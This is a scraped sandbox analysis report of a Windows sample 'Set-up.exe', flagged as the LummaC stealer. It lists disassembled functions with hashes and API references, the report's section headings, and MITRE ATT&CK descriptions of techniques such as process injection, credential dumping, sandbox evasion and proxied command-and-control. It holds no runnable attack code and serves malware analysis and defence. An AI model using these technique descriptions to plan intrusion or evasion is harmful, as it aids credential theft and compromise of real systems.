Opcode ID: d018b77fafad30eede66eafc2b8166c57735da819279e606327805be91c2026e
Instruction ID: 97ddf7a0595f55843d8ed3a5592f022fec3ca497b996ab7f20284500c0a95c28
Opcode Fuzzy Hash: d018b77fafad30eede66eafc2b8166c57735da819279e606327805be91c2026e
Instruction Fuzzy Hash: D661D0F0A443219FE754CF69C991A9ABFB0FB46350F1A42ADE4459F392C3748842CBD5

Function 004321FB Relevance: 22.9, APIs: 2, Strings: 11, Instructions: 105COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32 ref: 00432204
VariantInit.OLEAUT32 ref: 00432210

Strings

~, xrefs: 0043222E
n, xrefs: 0043226E
b, xrefs: 0043223E
f, xrefs: 0043224E
|, xrefs: 00432236
l, xrefs: 00432276
h, xrefs: 00432266
x, xrefs: 00432226
`, xrefs: 00432246
j, xrefs: 0043225E
d, xrefs: 00432256

Memory Dump Source

Source File: 00000003.00000002.2414248167.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2414248167.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_BitLockerToGo.jbxd

Similarity

API ID: Variant$ClearInit
String ID: `$b$d$f$h$j$l$n$x$|$~
API String ID: 2610073882-2392625418
Opcode ID: d56210b6122cd0a81d0aed4da15e1541f510ecdfe567a2f287f30a5ea68c2328
Instruction ID: b79967f44f2bd9de6c2e39eb15a986492cae5a4b6d791275bc0e3f4af17e2b78
Opcode Fuzzy Hash: d56210b6122cd0a81d0aed4da15e1541f510ecdfe567a2f287f30a5ea68c2328
Instruction Fuzzy Hash: A4414A71208B818BD725CF3CC884646BFA2AB56224F18869CD8E54F3EAD3B9D415C762

Function 00431FCB Relevance: 22.8, APIs: 2, Strings: 11, Instructions: 100COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32 ref: 00431FD8
VariantInit.OLEAUT32 ref: 00431FE4

Strings

j, xrefs: 00432038
d, xrefs: 00432030
h, xrefs: 00432040
f, xrefs: 00432028
~, xrefs: 00432008
n, xrefs: 00432048
|, xrefs: 00432010
x, xrefs: 00432000
l, xrefs: 00432050
`, xrefs: 00432020
b, xrefs: 00432018

Memory Dump Source

Source File: 00000003.00000002.2414248167.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2414248167.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_BitLockerToGo.jbxd

Similarity

API ID: Variant$ClearInit
String ID: `$b$d$f$h$j$l$n$x$|$~
API String ID: 2610073882-2392625418
Opcode ID: 1ace8412bc45bfffb96bd3be78b6ed24615df238187204af6596b75391cea6f0
Instruction ID: d4354520380d8857094eb198d18f80dccd27335c0442324ae3d10dc815d509f5
Opcode Fuzzy Hash: 1ace8412bc45bfffb96bd3be78b6ed24615df238187204af6596b75391cea6f0
Instruction Fuzzy Hash: 7F413B70208B818FD725CF3CC894316BFE2AB56224F08869CE8E58F3D6C679D515C766

Function 0042D00D Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 289COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(?), ref: 0042D2C2

Strings

!, xrefs: 0042D2E4
0, xrefs: 0042D25F

Memory Dump Source

Source File: 00000003.00000002.2414248167.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2414248167.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_BitLockerToGo.jbxd

Similarity

API ID: FreeLibrary
String ID: !$0
API String ID: 3664257935-301933775
Opcode ID: a59b02c1f9b8175dae2b6d0af442bdd73a96467c1f50dfe658eb48a36293ef53
Instruction ID: 363f3f82d949639bcd6d0eea56e432ff8ce25dbbcf70693a7459fa4f30c8f00e
Opcode Fuzzy Hash: a59b02c1f9b8175dae2b6d0af442bdd73a96467c1f50dfe658eb48a36293ef53
Instruction Fuzzy Hash: 77816C31A083908AD728CF29944177FFFE2AFD6304F28466ED4D59B391C67C8945C75A

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as `CopyFromScreen` , `xwd` , or `screencapture` .
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Set-up.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Temp\config

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Possible Origin

Network Behavior

Suricata IDS Alerts

Windows Analysis Report
Set-up.exe

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a connection proxy to direct network traffic between systems or act as an intermediary for network communications to a command and control server to avoid direct connections to their infrastructure. Many tools exist that enable traffic redirection through proxies or port redirection, including HTRAN , ZXProxy, and ZXPortMap. Adversaries use these types of proxies to manage command and control communications, reduce the number of simultaneous outbound network connections, provide resiliency in the face of connection loss, or to ride over existing trusted communications paths between victims to avoid suspicion. Adversaries may chain together multiple proxies to further disguise the source of malicious traffic.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre